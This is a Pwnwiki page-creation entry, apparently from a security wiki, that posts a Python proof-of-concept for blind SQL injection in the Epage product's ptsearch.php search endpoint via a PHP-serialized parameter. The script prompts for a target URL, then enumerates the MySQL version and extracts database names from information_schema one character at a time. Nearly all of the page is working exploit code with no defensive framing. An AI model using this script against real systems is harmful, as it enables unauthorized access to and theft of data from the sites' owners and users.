Pwnwiki: Created page with "==POC==

 import requests import time  print("Blind SQL injection in php Serialize POC") url=input("Target url:") url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s..."

2021-07-10T06:09:21Z

Created page with "==POC== <pre> import requests import time print("Blind SQL injection in php Serialize POC") url=input("Target url:") url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s..."

New page

==POC==
<pre>
import requests
import time

print("Blind SQL injection in php Serialize POC")
url=input("Target url:")
url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s:8:\"pagesize\";s:2:\"10\";s:3:\"Rcg\";i:0;}"

print("start parsing")
print("")
print("MYSQL version:")
for i in range(1,10,2):
for k in range(0,10):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="substring(version(),{i},1)=\"{k}\"")
inject_sql= inject_sql.format(i=i,k=k)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'

if("未找到符合條件的資料" not in r.text):
print(k,end=".")
print("version detect complete,take a break...........")
print()
print()
time.sleep(5)

print("parsing lenth of available database..............")
all_valid_database=0
for i in range(1,50):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)))>0")
inject_sql= inject_sql.format(i=i)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'
if("未找到符合條件的資料" in r.text):
all_valid_database = i
print(all_valid_database)
break

print("parsing finish,take a break")
time.sleep(3)

print("start parsing available database")
print("available database:")
for i in range(1,all_valid_database):
time.sleep(2)
for k in range(32,126):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)))>{k}")
inject_sql= inject_sql.format(i=i,k=k)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'

if("未找到符合條件的資料" in r.text):
if (k==44):
print(chr(k),end="")
print()
else:
print(chr(k),end="")
break
</pre>

Epage SQL注入漏洞 - Revision history

Pwnwiki: Created page with "==POC==
import requests import time print("Blind SQL injection in php Serialize POC") url=input("Target url:") url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s..."